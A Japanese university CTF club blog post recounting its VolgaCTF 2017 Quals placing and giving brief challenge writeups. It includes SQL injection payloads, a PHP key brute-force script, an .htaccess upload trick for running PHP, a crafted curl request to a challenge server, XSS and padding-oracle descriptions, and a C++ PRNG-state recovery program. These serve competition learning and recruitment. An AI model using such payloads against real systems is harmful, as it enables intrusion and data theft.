こんにちは。チームNaruseJunの中の人です。
今日は、CTFに出た話をしたいと思います。
新歓ブログリレー中なので新入生向けに書いておくと、CTFは基本的にチーム戦で、オンラインで行われることが多いです。
予選(Quals)でいい成績を残すと、オンサイト(実際に集まって競技)に招待されます。
そもそもCTFってなんだよって人は、新歓Webを見てください。
https://trapti.tech/welcome/
traPにはNaruseJunとかいうCTFチームがあって、中の人は全部で10数人いるんですが、毎回4〜5人で大会に出てます。
最近はサイバーコロッセオというイベントに顔を出しました。
/post/167/
VolgaCTF 2017 Quals
この前、?に出ました。
結果は12位(1115チーム中)で、日本国内から出場したチームではトップでした。
https://ctftime.org/event/374
https://aspyatkin.com/volgactf-2017-quals-key-metrics/
めでたく本戦(Finals)に招待して頂きました。ということで夏にロシア行ってきます。
https://volgactf.ru/
Writeup
VC (crypto 50pt) [phi]
2枚の画像があるので差の絶対値を取るとフラグが見える
KeyPass (reverse 100pt) [ponya, kaz]
入力文字列からセキュア(らしい)なキーを生成するプログラムと、
そこから生成されたキーで暗号化されたファイルが渡される。
ですが、キー生成プログラムに不備があるので有限個(256個)しかキーが生成されません。
ということで全部試せば終わる。
<?php
function getraw(){
$ar = [];
for($i = 0; $i < 0xFF; $i++){
$ar[] = mt_rand(0x01, 0xFF);
}
return implode("", array_map(function($e){
return "\\$e";
}, $ar));
}
while(1){
$raw = getraw();
$key = trim(`./keypass "$(printf "$raw")"`);
$r = 0;
system("openssl enc -aes-128-cbc -d -in flag.zip.enc -out flag.zip -pass pass:'$key'", $r);
if($r == 0){
echo("OK!! $r $key \n");
break;
}else{
echo("Fail $r $key \n");
}
}
?>
Telemap (web/exploits 200pt) [kaz]
TelegramのBotに攻撃する。
IPアドレスを投げるとnmapをかけてくれるんですが、ここでOSコマンドインジェクションができる。
API制限でBOTが死んだためフラグが無料で配られました。
Angry Guessing Game (reverse 200pt) [kaz, kriw]
数当てゲーム。途中で「試用版なのでライセンスキー入れてね!」みたいなこと言われて、これがたぶんFLAGです。
問題名からして、angrを使うのかな〜っと思ったんですが、radare2で探したら簡単に見つかりました。
.------------------------------------------------.
| 0x67da ;[ga] |
| ; JMP XREF from 0x000067d5 (fcn.000067d0) |
| mov rax, qword [rdi] |
| ; [0x56:1]=0 |
| ; 'V' |
| cmp byte [rax], 0x56 |
| sete cl |
| ; [0x6f:1]=0 |
| ; 'o' |
| cmp byte [rax + 1], 0x6f |
| sete dl |
| and dl, cl |
| ; [0x6c:1]=0 |
| ; 'l' |
| cmp byte [rax + 2], 0x6c |
| sete sil |
| ; [0x67:1]=0 |
| ; 'g' |
| cmp byte [rax + 3], 0x67 |
| sete cl |
| and cl, sil |
| and cl, dl |
| ; [0x61:1]=2 |
| ; 'a' |
| cmp byte [rax + 4], 0x61 |
| sete sil |
| ; [0x43:1]=0 |
| ; 'C' |
| cmp byte [rax + 5], 0x43 |
| sete dil |
| and dil, sil |
| ; [0x54:1]=0 |
| ; 'T' |
| cmp byte [rax + 6], 0x54 |
| sete dl |
| and dl, dil |
| and dl, cl |
| ; [0x46:1]=0 |
| ; 'F' |
| cmp byte [rax + 7], 0x46 |
| sete sil |
| ; [0x7b:1]=0 |
| ; '{' |
| cmp byte [rax + 8], 0x7b |
| sete cl |
| and cl, sil |
| ; [0x65:1]=0 |
| ; 'e' |
| cmp byte [rax + 9], 0x65 |
| sete sil |
| and sil, cl |
| ; [0x62:1]=0 |
| ; 'b' |
| cmp byte [rax + 0xa], 0x62 |
| sete dil |
| and dil, sil |
| and dil, dl |
| ; [0x36:1]=56 |
| ; '6' |
| cmp byte [rax + 0xb], 0x36 |
| sete sil |
| ; [0x37:1]=0 |
| ; '7' |
| cmp byte [rax + 0xc], 0x37 |
| sete dl |
| and dl, sil |
| ; [0x35:1]=0 |
| ; '5' |
| cmp byte [rax + 0xd], 0x35 |
| sete cl |
| and cl, dl |
| ; [0x65:1]=0 |
| ; 'e' |
| cmp byte [rax + 0xe], 0x65 |
| sete dl |
| and dl, cl |
| ; [0x62:1]=0 |
| ; 'b' |
| cmp byte [rax + 0xf], 0x62 |
| sete r8b |
| and r8b, dl |
| and r8b, dil |
| ; [0x37:1]=0 |
| ; '7' |
| cmp byte [rax + 0x10], 0x37 |
| sete sil |
| ; [0x39:1]=0 |
| ; '9' |
| cmp byte [rax + 0x11], 0x39 |
| sete dl |
| and dl, sil |
| ; [0x65:1]=0 |
| ; 'e' |
| cmp byte [rax + 0x12], 0x65 |
| sete cl |
| and cl, dl |
| ; [0x62:1]=0 |
| ; 'b' |
| cmp byte [rax + 0x13], 0x62 |
| sete dl |
| and dl, cl |
| ; [0x30:1]=0 |
| ; '0' |
| cmp byte [rax + 0x14], 0x30 |
| sete cl |
| and cl, dl |
| ; [0x39:1]=0 |
| ; '9' |
| cmp byte [rax + 0x15], 0x39 |
| sete dil |
| and dil, cl |
| and dil, r8b |
| ; [0x35:1]=0 |
| ; '5' |
| cmp byte [rax + 0x16], 0x35 |
| sete sil |
| ; [0x61:1]=2 |
| ; 'a' |
| cmp byte [rax + 0x17], 0x61 |
| sete cl |
| and cl, sil |
| ; [0x30:1]=0 |
| ; '0' |
| cmp byte [rax + 0x18], 0x30 |
| sete dl |
| and dl, cl |
| ; [0x39:1]=0 |
| ; '9' |
| cmp byte [rax + 0x19], 0x39 |
| sete cl |
| and cl, dl |
| ; [0x35:1]=0 |
| ; '5' |
| cmp byte [rax + 0x1a], 0x35 |
| sete dl |
| and dl, cl |
| ; [0x63:1]=0 |
| ; 'c' |
| cmp byte [rax + 0x1b], 0x63 |
| sete cl |
| and cl, dl |
| ; [0x31:1]=0 |
| ; '1' |
| cmp byte [rax + 0x1c], 0x31 |
| sete r8b |
| and r8b, cl |
| and r8b, dil |
| ; [0x65:1]=0 |
| ; 'e' |
| cmp byte [rax + 0x1d], 0x65 |
| sete sil |
| ; [0x36:1]=56 |
| ; '6' |
| cmp byte [rax + 0x1e], 0x36 |
| sete cl |
| and cl, sil |
| ; [0x34:1]=64 |
| ; '4' |
| cmp byte [rax + 0x1f], 0x34 |
| sete dl |
| and dl, cl |
| ; [0x37:1]=0 |
| ; '7' |
| cmp byte [rax + 0x20], 0x37 |
| sete cl |
| and cl, dl |
| ; [0x30:1]=0 |
| ; '0' |
| cmp byte [rax + 0x21], 0x30 |
| sete dl |
| and dl, cl |
| ; [0x39:1]=0 |
| ; '9' |
| cmp byte [rax + 0x22], 0x39 |
| sete cl |
| and cl, dl |
| ; [0x34:1]=64 |
| ; '4' |
| cmp byte [rax + 0x23], 0x34 |
| sete dl |
| and dl, cl |
| ; [0x30:1]=0 |
| ; '0' |
| cmp byte [rax + 0x24], 0x30 |
| sete cl |
| and cl, dl |
| and cl, r8b |
| ; [0x37:1]=0 |
| ; '7' |
| cmp byte [rax + 0x25], 0x37 |
| sete sil |
| ; [0x62:1]=0 |
| ; 'b' |
| cmp byte [rax + 0x26], 0x62 |
| sete dl |
| and dl, sil |
| ; [0x63:1]=0 |
| ; 'c' |
| cmp byte [rax + 0x27], 0x63 |
| sete sil |
| and sil, dl |
| ; [0x36:1]=56 |
| ; '6' |
| cmp byte [rax + 0x28], 0x36 |
| sete dl |
| and dl, sil |
| and dl, cl |
| ; [0x7d:1]=0 |
| ; '}' |
| cmp byte [rax + 0x29], 0x7d |
| sete al |
| test al, dl |
| setne al |
| ret |
`------------------------------------------------'
Corp News (web 300pt) [kaz]
企業のニュースを配信するサイト?
登録できる。
登録後にフィードバックを送信するところがあるので、XSSができる。
ただし、セッションクッキーがhttpOnlyなので盗むことができない。
が、パスワード変更APIがあるので、それを叩かせて管理者アカウントを奪うことができる。
管理者アカウントでログインすると、Secret Headerという文字列が取得できる。
ここで、ニュース取得API /news
が
Please, set debug header true, becouse the app in developing state:)
とか言ってたのを思い出します。
このAPIはJSONを受け取っているのですが、ここにアプリが送っているJSONをちょっといじって
{"resultFormat": "aaa"}
を送ってみると、
result_format
(texsdfsdft) is not recognized, ('auto', 'json', 'jsonp', 'text', and 'binary' are allowed).
ということで、バックエンドにRethinkDBがいることがわかります。
https://www.rethinkdb.com/api/javascript/http/ を参考にして、裏でHTTPリクエストを飛ばすときに Debug: true
を送らせるとニュースが見れるようになります。
さらに、先ほど入手したSecret headerも一緒に送るとFLAGが落ちてきます。
(このSecret headerを送らせるの、ヒントがないしどうやって気がつくんでしょうか……)
curl -X POST -H "Cookie: PHPSESSID=s%3A9Wst52yXI2kUbIPa4YE1gLTSPIpGDiwV.hc8bfOnyjidLjDsdcY7kTNsFlj0margtFr%2BGmAgupxI" http://corp-news2.quals.2017.volgactf.ru/news -d '{"header":["debug: true", "secret: asdJHF7dsJF65$FKFJjfjd773ehd
5fjsdf7"]}'
Bloody Feedback (web 100pt) [kaz]
お問い合わせフォームみたいなもの。
Emailの入力欄にSQLiがありました。
ERROR: DBD::Pg::db do failed: ERROR: INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,email,status) VALUES...
DBから引っ張ってきたデータを表示する部分があるので、カンタンです。
', (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 1 OFFSET 1))--
', (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 's3cret_tabl3'))--
', (SELECT s3cr3tc0lumn FROM s3cret_tabl3 WHERE s3cr3tc0lumn LIKE 'VolgaCTF{%}' LIMIT 1))--
Sneaky Tags (web 300pt) [kaz]
タグを発行できて、このタグをTwitterに投稿すると、その投稿が追跡できるみたいなサービス。
このタグに好きな名前をつけられるのですが、この名前はTwitterから投稿を取得してDBを更新する際にエスケープされずに使用されています。
いわゆるセカンドオーダーSQLインジェクションです。
' UNION SELECT 1,2,3,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' #
' UNION SELECT 1,2,3,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME IN("tag","tweet","user") #
' UNION SELECT 1,2,3,GROUP_CONCAT(tag) FROM tag WHERE account_id <= 10 #
↑みたいな名前のタグを作成して、DB更新を起こさせると、account_id
が小さいadminアカウントが作成したタグ名にFLAGがあります。
Share Point (web 200pt) [kaz]
ファイルアップロードと共有ができるサービス。
.php
のファイルはアップできない、が.htaccess
がアップできるので、
AddType application/x-httpd-php .txt
とかすると.txt
で任意のPHPがコードが実行できる。
あとはfind / -name flag
とかして見つけたファイルを読みに行けば終わり。
PyCrypto (crypto/reverse 150pt) [nari]
入力とkey(120bit)をxorするだけなので真心込めて手動decryptします。
Curved (crypto 200pt) [nari]
楕円曲線でコマンド文字列に署名を与えて、その署名が無いとコマンドが実行できないようなサーバが相手。
楕円曲線とは関係なく、与えられたsignature2つをよく見るとrの値が一致しているので、そこから等式を導出すると、任意のコマンド文字列の署名を生成することができます。
よって"cat flag"の署名を作って送るとフラグが見えます。
Casino (crypto 250pt) [nari]
Nの値がサーバ接続時にランダムに決まるので、N=24を引くと仮定します。
するとあり得るpolyの数も少ないので全探索します。
20回データを取ることができるので、next_bitは120bit分取れますが、mod 42のせいで不確定になるけど50%ぐらいなので、あり得るstateも全探索します。
なので、これぐらいのことを処理するC++コードを書いて、後はN=24を引くまで「接続→Proof of Work→全探索」を繰り返します。N=24を引いた場合全探索で条件を満たしたpolyとstateが見つかるので、それを使って100勝します。
理論的には時間をかければこれで解けます。
以下は120回のnext_bitの結果を受け取って、可能なstate,polyペアを探すC++プログラムです。
#include <stdio.h>
#include <string>
#include <iostream>
#include <vector>
#include <algorithm>
#include <omp.h>
using namespace std;
typedef vector<int> vi;
typedef int _loop_int;
#define REP(i,n) for(_loop_int i=0;i<(_loop_int)(n);++i)
#define FOR(i,a,b) for(_loop_int i=(_loop_int)(a);i<(_loop_int)(b);++i)
#define FORR(i,a,b) for(_loop_int i=(_loop_int)(b)-1;i>=(_loop_int)(a);--i)
/*
def gen_poly(deg):
poly = [0 for _ in range(deg + 1)]
while True:
n = random.randrange(deg // 8, deg // 2)
n |= 1
powers = random.sample(range(1, deg), n)
powers.append(deg)
if reduce(gcd, tuple(powers)) == 1:
break
for i in range(n):
poly[powers[i]] = 1
poly[0] = poly[deg] = 1
# poly.pop_front()
return poly
*/
vi poly_all(int n){
vi ret;
FOR(num,n/8,n/2){
if((num&1)==0)continue;
// num from 1 ~ n-1
vi P(n-1,0);
REP(i,num)P[n-2-i]=1;
do{
int gcd = n;
REP(i,n-1)if(P[i]){
gcd = __gcd(gcd,i+1);
}
if(gcd==1){
// ok
int poly = 0;
poly |= 1;
REP(i,n-1)poly |= P[i]<<(n-1-i);
ret.push_back(poly);
}
}while(next_permutation(P.begin(),P.end()));
}
return ret;
}
vi state_all(int n,string s){
vi ret[2];
ret[0].push_back(0);
REP(i,n){
char c = s[i];
if(c=='0' || c=='?'){
REP(j,ret[0].size()){
int x = ret[0][j];
int y = x;
ret[1].push_back(y);
}
}
if(c=='1' || c=='?'){
REP(j,ret[0].size()){
int x = ret[0][j];
int y = x | (1<<i);
ret[1].push_back(y);
}
}
ret[0].swap(ret[1]);
ret[1].clear();
}
return ret[0];
}
int find_valid_state(int n,int poly, vi inits, string s){
vi dp[2];
dp[0] = inits;
REP(i,s.size()){
char c = s[i];
if(c=='?'){
REP(j,dp[0].size()){
int st = dp[0][j];
int head = __builtin_popcount(poly&st)&1;
int nst = (st>>1) | (head<<(n-1));
dp[1].push_back(nst);
}
}else if(c=='0'){
REP(j,dp[0].size()){
int st = dp[0][j];
if(st%2==0){
int head = __builtin_popcount(poly&st)&1;
int nst = (st>>1) | (head<<(n-1));
dp[1].push_back(nst);
}
}
}else{
REP(j,dp[0].size()){
int st = dp[0][j];
if(st%2==1){
int head = __builtin_popcount(poly&st)&1;
int nst = (st>>1) | (head<<(n-1));
dp[1].push_back(nst);
}
}
}
if(dp[1].size()==0)return -1;
dp[0].swap(dp[1]);
dp[1].clear();
}
return dp[0][0];
}
int main(){
string s;
cin>>s;
omp_lock_t llock;
omp_init_lock(&llock);
int ans_n = -1;
int ans_poly = -1;
int ans_state = -1;
FOR(n,24,25){
vi polys = poly_all(n);
// s[i] = 0 : next_bit() in i times is 0
// s[i] = 1 : next_bit() in i times is 1
// s[i] = ? : next_bit() in i times is undetermined
vi inits = state_all(n,s);
// test all poly
omp_set_num_threads(4);
#pragma omp parallel for
REP(j,16){
REP(i,polys.size()/16){
if(i*16+j >= polys.size())break;
int poly = polys[i*16+j];
int state = find_valid_state(n, poly, inits, s);
if(state != -1){
omp_set_lock(&llock);
ans_n = n;
ans_poly = poly;
ans_state = state;
omp_unset_lock(&llock);
break;
}
omp_set_lock(&llock);
if(ans_n != -1){
omp_unset_lock(&llock);
break;
}else{
omp_unset_lock(&llock);
}
}
}
}
if(ans_n==-1){
puts("NG...");
}else{
printf("%d\n%d\n%d\n",ans_n,ans_poly,ans_state);
}
return 0;
}
Oracle (crypto 250pt) [nari]
UPDでcipherが出てるのでそれとサーバオラクルを使ってpadding oracle attackします。
あとはIV(またはtimestamp)が分かれば完全にpadding oracle attackできるのですが、IV=0としてpadding oracle attackを続行すると複号に成功します。
おわり
いっしょにCTFしてくれる新入生大募集中です。
4/19(水)には「競プロ/CTF体験会」があるので来てね!
https://trapti.tech/welcome/
明日はpoppon_seadragonとuynetの記事です。お楽しみに。